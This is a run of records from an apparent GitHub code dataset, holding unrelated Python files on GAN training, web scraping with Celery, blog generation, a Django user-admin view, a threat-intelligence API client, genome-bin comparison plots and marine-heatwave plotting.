create_generator()\n\nmy_gan_input = Input(shape=(noise_dim,))\nfake_img = generator(my_gan_input)\nmy_gan_output = discriminator(fake_img)\n\nmy_gan = Model(my_gan_input, my_gan_output)\nmy_gan.compile(loss='binary_crossentropy', optimizer=optimizer)\n\nfor epoch in range(epochs):\n for batch in range(steps_epoch):\n random_noise = np.random.normal(0, 1, size=(batch_size, noise_dim))\n fke_x = generator.predict(random_noise)\n\n real_x = x_train[np.random.randint(0, x_train.shape[0], size=batch_size)]\n \n x = np.concatenate((real_x, fke_x))\n\n discri_y = np.zeros(2*batch_size)\n discri_y[:batch_size] = 0.9\n\n d_loss = discriminator.train_on_batch(x, discri_y)\n\n y_gen = np.ones(batch_size)\n g_loss = my_gan.train_on_batch(random_noise, y_gen)\n\n print(f'Epoch: {epoch} \\t Discriminator Loss: {d_loss} \\t\\t Generator Loss: {g_loss}')\n\ngenerator.save(model_filename)\n","repo_name":"ketkiambekar/GAN","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42322847690","text":"from celery import Celery\nfrom selenium import webdriver\nimport threading\n\napp = Celery('tasks', backend='amqp://guest:guest@localhost:5672//',\n broker='amqp://guest:guest@localhost:5672//')\n\noptions = webdriver.ChromeOptions()\noptions.binary_location = \"/usr/sbin/chromium\"\noptions.add_argument(\"headless\")\noptions.add_argument(\"window-size=1200x600\")\ndriver = webdriver.Chrome(chrome_options=options)\n\n\ndef work(url):\n driver.get(url)\n title = driver.title\n print(title)\n\n\n@app.task\ndef get(url, n=0):\n thread = []\n\n for i in range(10):\n print(\"Now to get \" + str(i))\n t = threading.Thread(target=work, args=(url,))\n thread.append(t)\n\n for i in range(0, 10):\n thread[i].start()\n\n for i in range(0, 10):\n thread[i].join()\n","repo_name":"sunhuachuang/study-demo","sub_path":"python/celery/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30161099382","text":"#!/usr/bin/python3\n\nfrom configuration import Configuration\nfrom post import Post\nfrom writer import Writer\n\nimport argparse\nimport sys\n\nclass Petrol:\n def __init__(self, input_file_names, config_file_name):\n self._input_file_names = input_file_names\n\n if config_file_name:\n self._config = Configuration(config_file_name)\n else:\n self._config = Configuration()\n\n with open(self._config.template_file_name, 'r') as template_file:\n self._template = template_file.read()\n\n def run(self):\n writer = Writer(self._template)\n\n for file_name in self._input_file_names:\n self._make_post(writer, file_name)\n\n def _make_post(self, writer, file_name):\n with open(file_name, 'r') as input_file:\n file_contents = input_file.read()\n post = Post(file_name, file_contents)\n writer.write_post(post)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Generate a blog post.')\n parser.add_argument('input_file', nargs='+')\n parser.add_argument('-c', '--config')\n args = parser.parse_args()\n\n petrol = Petrol(args.input_file, args.config)\n petrol.run()\n","repo_name":"amorneau/petrol","sub_path":"src/petrol.py","file_name":"petrol.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74907789972","text":"# https://www.reddit.com/r/dailyprogrammer/comments/7yyt8e/20180220_challenge_352_easy_making_imgurstyle/\n\ndef input_case():\n t = int(input())\n tests = []\n for _ in range(t):\n n = int(input())\n tests.append(n)\n return tests\n\n\ndef base62(num):\n ALPHABET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'\n\n conv = ''\n while num // 62 != 0:\n num, idx = divmod(num, 62)\n conv += ALPHABET[idx]\n conv += ALPHABET[num]\n return ''.join(reversed(conv))\n\n\ndef main():\n cases = input_case()\n for case in cases:\n print('{} => {}'.format(case, base62(case)))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jrmanrique/codingproblems","sub_path":"dailyprogrammer/python/352_easy.py","file_name":"352_easy.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7709735370","text":"from django.shortcuts import redirect\nfrom django.views.generic.list import ListView\n\nfrom django.contrib.auth.models import User\n\nfrom registration.models import in_group, Group\n\n\n# Create your views here.\n\nclass UserView(ListView):\n template_name = \"userlist.html\"\n\n model = User\n # folder = Folder;\n\n slug = None;\n\n def get_object(self, queryset=None):\n return queryset.get(slug=self.slug)\n\n def get_queryset(self):\n object_list = self.model.objects\n return object_list\n\n def get_context_data(self, **kwargs):\n con = super(UserView, self).get_context_data(**kwargs);\n con['user_name'] = self.kwargs.get('slug', None);\n if self.request.method == \"POST\":\n con[\"user_name\"] = \"delete\";\n con['editable'] = False;\n if (con[\"user_name\"] == self.request.user.username):\n con['editable'] = True;\n return con\n\n def post(self, request, *args, **kwargs):\n check_list = request.POST.getlist('checks[]')\n if(request.POST[\"action_taken\"] == \"add_group\"):\n group_name = request.POST.get('color')\n #new_group, created = Group.objects.get_or_create(name=group_name)\n new_group = Group(name=group_name)\n new_group.save()\n str = group_name\n for i in check_list:\n current = User.objects.get(username=i)\n group_entry = in_group()\n group_entry.user = current\n group_entry.group = new_group\n group_entry.save()\n str = str + group_entry.user + group_entry.group\n\n elif(request.POST[\"action_taken\"] == \"make_admin\"):\n for i in check_list:\n current = User.objects.get(username=i)\n s = current.profile\n s.is_admin = not s.is_admin\n s.save()\n elif(request.POST[\"action_taken\"] == \"suspend_user\"):\n for i in check_list:\n current = User.objects.get(username=i)\n s = current.profile\n s.is_suspended = not s.is_suspended\n s.save()\n return redirect(\"/systemadmin/userlist/\");\n #return HttpResponse(request.POST.items());","repo_name":"agore1/SecureWitness","sub_path":"securewitness/systemadmin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18912186640","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCriminalip.client\r\n~~~~~~~~~~~~~\r\n\r\nThis module implements the Criminalip API. \r\n\"\"\"\r\nimport time \r\nimport requests\r\nimport json \r\nfrom exception import APIError \r\n\r\n# Try to disable the SSL warnings in urllib3 since not everybody can install\r\n# C extensions. If you're able to install C extensions you can try to run:\r\n#\r\n# pip install requests[security]\r\n#\r\n# Which will download libraries that offer more full-featured SSL classes\r\n# pylint: disable=E1101\r\ntry:\r\n requests.packages.urllib3.disable_warnings()\r\nexcept Exception:\r\n pass\r\n\r\n# Define a basestring type if necessary for Python3 compatibility\r\ntry:\r\n basestring\r\nexcept NameError:\r\n basestring = str \r\n\r\n\r\nclass Criminalip:\r\n \r\n def __init__(self, service, cip_key=None):\r\n \"\"\"Initializes the API object. \r\n \"\"\"\r\n self.api_key = cip_key \r\n self.base_url='https://api.criminalip.io'\r\n self._session = requests.Session()\r\n self.api_rate_limit = 1 # Requests per second\r\n self._api_query_time = None\r\n self._session.proxies = None \r\n\r\n def _request(self, function, params, method='get'):\r\n \"\"\"General-purpose function to create web requests to Criminalip.\r\n\r\n Arguments:\r\n function -- name of the function you want to execute\r\n params -- dictionary of parameters for the function\r\n\r\n Returns\r\n A dictionary containing the function's results.\r\n\r\n \"\"\" \r\n base_url = self.base_url \r\n headers = {\"x-api-key\": self.api_key} \r\n\r\n # Wait for API rate limit\r\n if self._api_query_time is not None and self.api_rate_limit > 0:\r\n while (1.0 / self.api_rate_limit) + self._api_query_time >= time.time():\r\n time.sleep(0.1 / self.api_rate_limit)\r\n\r\n # Send the request\r\n try: \r\n method = method.lower()\r\n if method == 'post':\r\n data = self._session.post(base_url + function, params)\r\n elif method == 'put':\r\n data = self._session.put(base_url + function, params=params)\r\n elif method == 'delete':\r\n data = self._session.delete(base_url + function, params=params)\r\n else: \r\n data = self._session.get(base_url + function, params=params, headers=headers) \r\n self._api_query_time = time.time()\r\n except Exception as exception : \r\n raise APIError('Unable to connect to Climinal IP') \r\n\r\n # Check that the API key wasn't rejected\r\n if data.status_code == 401:\r\n try:\r\n # Return the actual error message if the API returned valid JSON\r\n error = data.json()['error']\r\n except Exception as e:\r\n # If the response looks like HTML then it's probably the 401 page that nginx returns\r\n # for 401 responses by default\r\n if data.text.startswith('<'):\r\n error = 'Invalid API key'\r\n else:\r\n # Otherwise lets raise the error message\r\n error = u'{}'.format(e)\r\n\r\n raise APIError(error)\r\n elif data.status_code == 403:\r\n raise APIError('Access denied (403 Forbidden)')\r\n elif data.status_code == 502:\r\n raise APIError('Bad Gateway (502)')\r\n\r\n # Parse the text into JSON\r\n try:\r\n #data = data.json()\r\n data = json.loads(data.text)\r\n except ValueError:\r\n raise APIError('Unable to parse JSON response')\r\n\r\n # Raise an exception if an error occurred\r\n if type(data) == dict and 'error' in data:\r\n raise APIError(data['error'])\r\n\r\n # Return the data\r\n return data\r\n \r\n def host(self, ip): \r\n \"\"\"Get all available information on an IP.\"\"\"\r\n\r\n if isinstance(ip, basestring): \r\n params = {} \r\n params['ip'] = ip\r\n params['full'] = 'true' \r\n return self._request('/v1/ip/data', params)\r\n\r\n def search_query(self, query, offset=0): \r\n \"\"\"Search the criminalip database.\r\n\r\n This method returns an iterator that can directly be in a loop. Use it when you want to loop over\r\n all of the results of a search query.\r\n\r\n :param query: Search query; identical syntax to the website\r\n :type query: str \r\n\r\n :returns: A search query that can be used as an iterator/ generator.\r\n \"\"\" \r\n if isinstance(query, basestring): \r\n params = {} \r\n params['query'] = query\r\n params['offset'] = offset\r\n return self._request('/v1/banner/search', params) ","repo_name":"Jaxon1111/routector","sub_path":"app/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"10659392931","text":"número = int(input('Informe um número inteiro qualquer: '))\nqtdDiv = 0\n\nfor count in range(1, número + 1):\n if número % count == 0:\n qtdDiv += 1\n print('\\033[32m{}\\033[m' .format(count), end=' ')\n else:\n print('\\033[31m{}\\033[m' .format(count), end=' ')\n\nprint(end='\\n')\nif qtdDiv == 2:\n print('O número {} é primo!!!' .format(número))\nelse:\n print('O número {} não é primo!!!'.format(número))\n","repo_name":"Victor-Osses/Python","sub_path":"Python_Exercícios/ex051.py","file_name":"ex051.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11167563597","text":"import argparse\nimport sys\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom tabulate import tabulate\n\n# import pyupset as pyu\nfrom upsetplot import from_contents, plot, UpSet\nimport venn\nimport itertools\nfrom sklearn.manifold import TSNE\n\n# from graph_functions import plot_embs\nimport pickle\nimport os\n\nSEED = 0\n\ncolors = [\n \"tab:blue\",\n \"tab:orange\",\n \"tab:green\",\n \"tab:red\",\n \"tab:purple\",\n \"tab:brown\",\n \"tab:pink\",\n \"tab:gray\",\n \"tab:olive\",\n \"tab:cyan\",\n \"black\",\n \"silver\",\n \"maroon\",\n \"fuchsia\",\n \"lime\",\n \"olive\",\n \"yellow\",\n \"navy\",\n \"teal\",\n \"steelblue\",\n \"darkred\",\n \"darkgreen\",\n \"darkblue\",\n \"darkorange\",\n \"lightpink\",\n \"lightgreen\",\n \"lightblue\",\n \"crimson\",\n \"darkviolet\",\n \"tomato\",\n \"tan\",\n]\nmarkers = [4, 5, 6, 7, 0, 2]\n\n\ndef scatter_hist(x, y, ax, ax_histx, ax_histy, min_comp=50):\n min_comp = 10\n max_cont = 50\n # no labels\n ax_histx.tick_params(axis=\"x\", labelbottom=False)\n ax_histy.tick_params(axis=\"y\", labelleft=False)\n\n # the scatter plot:\n ax.scatter(x, y)\n\n # now determine nice limits by hand:\n breakpoint()\n binwidth = 0.25\n xymax = max(np.max(np.abs(x)), np.max(np.abs(y)))\n lim = (int(xymax / binwidth) + 1) * binwidth\n\n bins = np.arange(min_comp, lim + binwidth, binwidth)\n ax_histx.hist(x, bins=bins)\n ax_histy.hist(y, bins=bins, orientation=\"horizontal\")\n\n\ndef normalize_method_name(binname):\n if \"graph.bin\" in binname:\n methodname = \"graphbin\"\n else:\n methodname = binname.split(\".\")[0]\n if methodname == \"graph\" or methodname.startswith(\"graphemb\"):\n methodname = \"graphemb\"\n binname = \"graphemb.\" + \".\".join(binname.split(\".\")[1:])\n return methodname, binname\n\n\ndef read_drep_cdb(drep_outfile, bins_per_method, methods=\"all\"):\n clusters = {}\n method_to_bins = {} # which bin sets were identified by each method\n method_to_bins_hq = {}\n missing_bins = []\n with open(drep_outfile, \"r\") as f:\n next(f)\n for line in f:\n values = line.strip().split(\",\")\n binname = values[0]\n methodname, binname = normalize_method_name(binname)\n if methods != \"all\" and methodname not in methods.split(\",\"):\n continue\n cluster = values[-1]\n if cluster not in clusters:\n clusters[cluster] = {}\n clusters[cluster][methodname] = binname\n if methodname not in method_to_bins:\n method_to_bins[methodname] = set()\n method_to_bins_hq[methodname] = set()\n method_to_bins[methodname].add(cluster)\n if binname not in bins_per_method[methodname]:\n print(\"missing\", binname, \"checkm\")\n missing_bins.append(binname)\n continue\n if bins_per_method[methodname][binname][\"comp\"] > 90 and bins_per_method[methodname][binname][\"cont\"] < 5:\n method_to_bins_hq[methodname].add(cluster)\n return clusters, method_to_bins, method_to_bins_hq, missing_bins\n\n\ndef read_checkm(checkm_file, min_comp=50, max_cont=10):\n\n bins_per_method = {}\n comps = {}\n conts = {}\n with open(checkm_file, \"r\") as f:\n next(f)\n for line in f:\n binname, comp, cont, strain = line.split(\",\")\n if \"graph.bin\" in binname:\n methodname = \"graphbin\"\n else:\n methodname = binname.split(\".\")[0]\n if methodname == \"graph\" or methodname.startswith(\"graphemb\"):\n methodname = \"graphemb\"\n if methodname not in bins_per_method:\n bins_per_method[methodname] = {}\n if float(comp) >= min_comp and float(cont) <= max_cont:\n bins_per_method[methodname][binname] = {\n \"comp\": float(comp),\n \"cont\": float(cont),\n \"strain\": float(strain),\n }\n comps[binname] = float(comp)\n conts[binname] = float(cont)\n return bins_per_method, comps, conts\n\n\ndef print_stats_table(bins_per_method, out=sys.stdout, max_cont=5):\n rows = [100, 90, 80, 70, 60, 50]\n bar_plot_data = []\n print()\n print(\"cont<{}\".format(max_cont), file=out)\n for j, row in enumerate(rows):\n if j == 0:\n continue\n bar_plot_data.append([\"comp>{}\".format(rows[j])])\n for i, m in enumerate(bins_per_method):\n # clog_name = log_names[i]\n cont = [bins_per_method[m][b][\"cont\"] for b in bins_per_method[m]]\n comp = [bins_per_method[m][b][\"comp\"] for b in bins_per_method[m]]\n\n filtered_bins = [y for x, y in zip(comp, cont) if x > rows[j] and y < max_cont]\n if len(filtered_bins) > 0:\n avg_cont = round(sum(filtered_bins) / len(filtered_bins), 2)\n else:\n avg_cont = 0\n bar_plot_data[j - 1].append(\"{} ({})\".format(len(filtered_bins), avg_cont))\n # bar_plot_data.append([len([x for x, y in zip(comp, cont) if x >= cutoff and y < 5]) for cutoff in rows])\n\n print(tabulate(bar_plot_data, headers=list(bins_per_method.keys())), file=out)\n print(\"# bins (avg contamination)\", file=out)\n\n\ndef read_contig2bin(contig2bin_file):\n bins = {}\n with open(contig2bin_file, \"r\") as f:\n print(\"opening\", contig2bin_file)\n for line in f:\n contig, bin = line.strip().split(\"\\t\")\n contig = contig.split()[0]\n base_name = contig2bin_file.split(\"/\")[-1].split(\".\")[0]\n binname = base_name + \".\" + str(bin) + \".fa\"\n methodname, binname = normalize_method_name(binname)\n if binname not in bins:\n bins[binname] = set()\n bins[binname].add(contig)\n return bins\n\n\ndef compare_clusters(clusters, bins_per_method, missing_bins, out=sys.stdout, target=\"graphemb\"):\n unique_clusters = []\n more_complete_clusters = []\n for c in clusters:\n if target in clusters[c] and clusters[c][target] not in missing_bins:\n if len(clusters[c]) == 1:\n unique_clusters.append(c)\n elif clusters[c] not in missing_bins:\n graphemb_comp = bins_per_method[target][clusters[c][target]][\"comp\"]\n graphemb_cont = bins_per_method[target][clusters[c][target]][\"cont\"]\n others_comp = [\n bins_per_method[m][clusters[c][m]][\"comp\"]\n for m in clusters[c]\n if m != target and clusters[c][m] not in missing_bins\n ]\n others_cont = [\n bins_per_method[m][clusters[c][m]][\"cont\"]\n for m in clusters[c]\n if m != target and clusters[c][m] not in missing_bins\n ]\n if all(i < graphemb_comp for i in others_comp): # check only for comp\n more_complete_clusters.append(c)\n # for method in clusters[c]:\n # if clusters[c][method] in bins_per_method[method]:\n # print(\" \" + method + \": \" + str(bins_per_method[method][clusters[c][method]]))\n # else:\n # print(clusters[c][method])\n\n print(\"clusters unique to {}\".format(target), file=out)\n print(\n unique_clusters,\n [(clusters[c], bins_per_method[target][clusters[c][target]]) for c in unique_clusters],\n file=out,\n )\n print(\"clusters more complete graphemb\", file=out)\n print(more_complete_clusters, [clusters[c] for c in more_complete_clusters], file=out)\n\n\ndef get_overlaps(clusters, bins_per_method, method_to_bins, noplots, basedir, comp, cont):\n\n unique_bins = set()\n # TODO pick labels for venn\n # methods_to_plot = [\"graphemb\", \"maxbin2\", \"vamb\", \"metabat2\"]\n # methods_to_plot = list(method_to_bins.keys())[:4]\n # breakpoint()\n # labels = venn.get_labels([method_to_bins[m] for m in methods_to_plot], fill=[\"number\", \"percent\"])\n # fig, ax = venn.venn4(labels, names=methods_to_plot)\n # plt.savefig(basedir + \"venn.png\")\n # if not noplots:\n # plt.show()\n # else:\n # plt.close()\n # labels = venn.get_labels([method_to_bins_hq[m] for m in methods_to_plot], fill=[\"number\", \"percent\"])\n # fig, ax = venn.venn4(labels, names=methods_to_plot)\n # if not args.noplots:\n # plt.show()\n # else:\n # plt.close()\n # write UpSet format\n out = open(basedir + \"bins.tsv\", \"w\")\n contents = {m: [] for m in method_to_bins}\n for c in clusters:\n methods_with_hq_bin = set()\n for m in method_to_bins.keys():\n # check if any are HQ bins in this cluster\n if (\n m in clusters[c]\n and clusters[c][m] in bins_per_method[m] # TODO why would this be false\n and bins_per_method[m][clusters[c][m]][\"comp\"] > comp\n and bins_per_method[m][clusters[c][m]][\"cont\"] < cont\n ):\n methods_with_hq_bin.add(clusters[c][m])\n # write to file if method m is in the cluster\n if m in clusters[c]:\n contents[m].append(c)\n # print and save to file cluster where only one method has HQ bin\n if len(methods_with_hq_bin) == 1:\n best_method = methods_with_hq_bin.pop()\n print(\n \"unique method with HQ bin\",\n best_method,\n \"scores:\",\n str([(m, bins_per_method[m][clusters[c][m]]) for m in method_to_bins.keys() if m in clusters[c]]),\n \"cluster\",\n c,\n )\n print(\n best_method,\n \"\\t\",\n \"\\t\".join(\n [\n m + \":\" + str(bins_per_method[m][clusters[c][m]])\n for m in method_to_bins.keys()\n if m in clusters[c]\n ]\n ),\n file=out,\n )\n unique_bins.add(best_method)\n upset = from_contents(contents)\n UpSet(upset, subset_size=\"count\", show_counts=True, show_percentages=True, sort_by=\"cardinality\").plot()\n plt.show()\n UpSet(upset, subset_size=\"count\", show_counts=True, show_percentages=True, sort_by=\"cardinality\").plot()\n plt.savefig(basedir + \"upset.png\")\n plt.close()\n print(\",\".join([m for m in unique_bins if m.startswith(\"graphemb\")]))\n return unique_bins\n\n\ndef plot_scatter(bins_per_method, methods, noplots):\n hist_bin_size = 10\n # scatter plot each method\n # based on https://stackoverflow.com/a/49469428\n fig, axs = plt.subplots(2, (len(bins_per_method) // 2) + 1)\n for i, m in enumerate(bins_per_method):\n if methods != \"all\" and m not in methods.split(\",\"):\n continue\n cont = [bins_per_method[m][b][\"cont\"] for b in bins_per_method[m]]\n comp = [bins_per_method[m][b][\"comp\"] for b in bins_per_method[m]]\n print(\"plotting\", m, i, colors[i])\n # axs[i % 2, i // 2].scatter(comp, cont, c=colors[i], label=m, alpha=0.5)\n # axs[i % 2, i // 2].set_title(m)\n # definitions for the axes\n gs = gridspec.GridSpec(3, 3)\n ax_main = plt.subplot(gs[1:3, :2])\n # ax_main.set(xlabel=\"Completeness\", ylabel=\"Contamination\")\n ax_main.set_title(m)\n ax_xDist = plt.subplot(gs[0, :2], sharex=ax_main)\n ax_yDist = plt.subplot(gs[1:3, 2], sharey=ax_main)\n ax_main.scatter(comp, cont) # , marker=\".\")\n ax_main.set(xlabel=\"Completeness\", ylabel=\"y Contamination\")\n\n ax_xDist.hist(comp, bins=hist_bin_size, align=\"mid\")\n ax_xDist.set(ylabel=\"count\")\n ax_xDist.label_outer()\n ax_xCumDist = ax_xDist.twinx()\n ax_xCumDist.hist(\n comp, bins=hist_bin_size, cumulative=-1, histtype=\"step\", density=False, color=\"r\", align=\"mid\"\n )\n ax_xCumDist.tick_params(\"y\", colors=\"r\")\n ax_xCumDist.set_ylabel(\"cumulative\", color=\"r\")\n\n ax_yDist.hist(cont, bins=hist_bin_size, orientation=\"horizontal\", align=\"mid\")\n ax_yDist.set(xlabel=\"count\")\n ax_yDist.label_outer()\n ax_yCumDist = ax_yDist.twiny()\n ax_yCumDist.hist(\n cont,\n bins=hist_bin_size,\n cumulative=True,\n histtype=\"step\",\n density=False,\n color=\"r\",\n align=\"mid\",\n orientation=\"horizontal\",\n )\n ax_yCumDist.tick_params(\"x\", colors=\"r\")\n ax_yCumDist.set_xlabel(\"cumulative\", color=\"r\")\n if not noplots:\n plt.show()\n else:\n plt.close()\n # breakpoint()\n # plt.scatter(comp, cont, c=colors[i], label=m, alpha=0.5)\n plt.figure()\n for i, m in enumerate(bins_per_method):\n if methods != \"all\" and m not in methods.split(\",\"):\n continue\n cont = [bins_per_method[m][b][\"cont\"] for b in bins_per_method[m]]\n comp = [bins_per_method[m][b][\"comp\"] for b in bins_per_method[m]]\n print(\"plotting\", m, i, colors[i])\n plt.scatter(comp, cont, c=colors[i], label=m, alpha=0.5, marker=markers[i], s=100)\n plt.legend()\n # for ax in axs.flat:\n # ax.set(xlabel=\"Completeness\", ylabel=\"Contamination\")\n # Hide x labels and tick labels for top plots and y ticks for right plots.\n # for ax in axs.flat:\n # ax.label_outer()\n # plt.legend()\n if not noplots:\n plt.show()\n else:\n plt.close()\n\n\n# first use checkm_drep_fa.tsv to get bins of each approach\ndef main():\n parser = argparse.ArgumentParser(description=\"\")\n parser.add_argument(\"--basedir\", help=\"basedir\")\n parser.add_argument(\"--checkm\", help=\"CheckM output\")\n parser.add_argument(\"--drep\", help=\"dRep output (Cdb.csv)\")\n parser.add_argument(\"--noplots\", action=\"store_true\", help=\"Do not show plots\")\n parser.add_argument(\"--methods\", help=\"Methods to include, or all, comma separated\", default=\"all\")\n parser.add_argument(\"--bins\", nargs=\"+\")\n\n args = parser.parse_args()\n checkm_file = os.path.join(args.basedir, args.checkm)\n drep_outfile = os.path.join(args.basedir, args.drep) # Cdb.csv\n bins_per_method, comps, conts = read_checkm(checkm_file)\n # load embs and plot clusters\n bins = {}\n for binfile in args.bins:\n bins.update(read_contig2bin(binfile))\n for m in bins_per_method:\n for b in bins_per_method[m]:\n if b in bins:\n bins_per_method[m][b][\"size\"] = len(bins[b])\n\n # plot_scatter(bins_per_method, args.methods, args.noplots)\n fout = open(args.basedir + \"/hq_stats.tsv\", \"w\")\n # print_stats_table(bins_per_method, max_cont=1)\n # print_stats_table(bins_per_method, max_cont=2)\n print_stats_table(bins_per_method, max_cont=5)\n print_stats_table(bins_per_method, max_cont=5, out=fout)\n print_stats_table(bins_per_method, max_cont=10)\n fout.close()\n clusters, method_to_bins, method_to_bins_hq, missing_bins = read_drep_cdb(\n drep_outfile, bins_per_method, args.methods\n )\n\n fout = open(args.basedir + \"/relevant_bins.txt\", \"w\")\n compare_clusters(clusters, bins_per_method, missing_bins, target=\"graphemb\", out=fout)\n fout.close()\n\n # todo: also get bin composition\n print(\"all overlaps\")\n get_overlaps(clusters, bins_per_method, method_to_bins, args.noplots, args.basedir + \"all_\", comp=50, cont=10)\n print(\"HQ overlaps\")\n unique_bins = get_overlaps(\n clusters, bins_per_method, method_to_bins_hq, args.noplots, args.basedir + \"hq_\", comp=90, cont=5\n )\n # for m in method_to_bins:\n # print(m)\n # print(\",\".join(method_to_bins_hq[m]))\n\n # breakpoint()\n cluster_to_contig = {}\n cluster_to_bins = {c: [bins[clusters[c][m]] for m in clusters[c] if clusters[c][m] in bins] for c in clusters}\n for c in cluster_to_bins:\n cluster_to_contig[c] = []\n for m in cluster_to_bins[c]:\n cluster_to_contig[c] += m\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AndreLamurias/binning_workflows","sub_path":"plot_drep.py","file_name":"plot_drep.py","file_ext":"py","file_size_in_byte":16151,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"1154000863","text":"import requests\nimport time\n\nstart = time.time()\nurl = 'http://15.165.31.148:5000/score'\nanswer = '올림픽 축구 대표팀이 내일 청소년 축구 대표팀과 평가전을'\nfname = '/home/ubuntu/flask-android-ec2/Audio/KOR_F_RM0769FLJH0325.mp3'\nr = requests.get(url, json={'fname':fname,'answer': answer})\nprint(r)\nif r:\n r = r.json()\nprint(r)\nprint(\"time :\", time.time() - start) # 현재시각 - 시작시간 = 실행 시간\n","repo_name":"sne12345/flask-android-ec2","sub_path":"request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"10980713429","text":"from netCDF4 import Dataset, num2date\r\nfrom datetime import datetime, timedelta\r\nimport plotly.graph_objects as go\r\nimport plotly\r\nimport numpy as np\r\nimport json\r\nimport glob\r\nimport os\r\n\r\ndef configuration():\r\n ''' Read secrets (configuration) file '''\r\n config = {}\r\n with open('config', 'r') as f:\r\n for line in f:\r\n if line[0] == '!': continue\r\n key, val = line.split()[0:2]\r\n # Save as environment variable\r\n config[key] = val\r\n return config\r\n\r\ndef datenum2datetime(datenum):\r\n return np.array([datetime.fromordinal(int(i)) + timedelta(days=i%1) for i in datenum])\r\n\r\ndef plot_mhw(longitude, latitude, time, SST, years, climatology, PCT10, PCT90, min_y, max_y,\r\n idates=None, edates=None, idatesCold=None, edatesCold=None, buoy=None):\r\n ''' Plot figure '''\r\n \r\n fig = go.Figure()\r\n \r\n # Plot buoy data, if needed \r\n if buoy is not None:\r\n buoyY, timeByYear, insitu, buoyname = buoy\r\n for year, t, temp in zip(buoyY, timeByYear, insitu):\r\n visible = [True if year == buoyY[-1] else False][0]\r\n fig.add_trace(go.Scatter(\r\n name=f'Buoy {year}', showlegend=True, visible=visible,\r\n mode=\"lines\", x=t, y=temp,\r\n line=dict(width=1.5, color='#0000ff')\r\n ))\r\n else:\r\n buoyname = ''\r\n \r\n for year, sst in zip(years, SST):\r\n # Plot SST (gray, always seen regardless of the slider position)\r\n fig.add_trace(go.Scatter(\r\n name=str(year), hoverinfo=\"none\",\r\n mode=\"lines\", x=time, y=sst, showlegend=False,\r\n line=dict(width=0.5, color='#808080')\r\n )) \r\n \r\n visible = [True if year == years[-1] else False][0]\r\n # Plot SST (black, only one per year, updates depending on the slider)\r\n fig.add_trace(go.Scatter(\r\n name=f'Year {year}', showlegend=True, visible=visible,\r\n mode=\"lines\", x=time, y=sst,\r\n line=dict(width=1.5, color='#000000')\r\n ))\r\n \r\n # Plot seasonal cycle\r\n fig.add_trace(go.Scatter(\r\n name=\"climatology\", showlegend=True,\r\n mode=\"lines\", x=time, y=climatology,\r\n line=dict(width=1.5, color='#008000')\r\n ))\r\n \r\n # Plot PCT. 10\r\n fig.add_trace(go.Scatter(\r\n name=\"PCT. 10\", showlegend=True,\r\n mode=\"lines\", x=time, y=PCT10,\r\n line=dict(width=1.5, color='#00ffff')\r\n ))\r\n \r\n # Plot PCT. 90\r\n fig.add_trace(go.Scatter(\r\n name=\"PCT. 90\", showlegend=True,\r\n mode=\"lines\", x=time, y=PCT90,\r\n line=dict(width=1.5, color='#ff0000')\r\n ))\r\n \r\n if idates is not None:\r\n # Plot MHWs\r\n for i, (t0, t1) in enumerate(zip(idates, edates)):\r\n t0, t1 = datetime.strptime(t0, '%Y-%m-%d'), datetime.strptime(t1, '%Y-%m-%d')\r\n year0, year1 = t0.year, t1.year\r\n # Get MHW dates as strings\r\n str0 = (t0-timedelta(hours=24)).strftime('2020-%m-%d')\r\n str1 = t1.strftime('2020-%m-%d')\r\n \r\n visible = [True if year1 == years[-1] else False][0]\r\n if year0 == year1: \r\n fig.add_trace(go.Scatter(\r\n name=f'MHW-{year0}-{i}', showlegend=False, visible=visible,\r\n x=[str0, str0, str1, str1, str0],\r\n y=[min_y-1, max_y+1, max_y+1, min_y-1, min_y-1],\r\n fill=\"toself\", fillcolor='rgba(220, 20, 60, 0.25)',\r\n line=dict(width=0.25, color='rgba(220, 20, 60, 0.25)')))\r\n \r\n elif year1 - year0 == 1:\r\n fig.add_trace(go.Scatter(\r\n name=f'MHW-{year0}-{i}', showlegend=False, visible=False,\r\n x=[str0, str0, f'2020-12-31', f'2020-12-31', str0],\r\n y=[min_y-1, max_y+1, max_y+1, min_y-1, min_y-1],\r\n fill=\"toself\", fillcolor='rgba(220, 20, 60, 0.25)',\r\n line=dict(width=0.25, color='rgba(220, 20, 60, 0.25)')))\r\n \r\n fig.add_trace(go.Scatter(\r\n name=f'MHW-{year1}-{i}', showlegend=False, visible=visible,\r\n x=[f'2020-01-01', f'2020-01-01', str1, str1, f'2020-01-01'],\r\n y=[min_y-1, max_y+1, max_y+1, min_y-1, min_y-1],\r\n fill=\"toself\", fillcolor='rgba(220, 20, 60, 0.25)',\r\n line=dict(width=0.25, color='rgba(220, 20, 60, 0.25)')))\r\n \r\n else:\r\n raise RuntimeError('Marine Heat Wave spanning multiple years???') \r\n \r\n 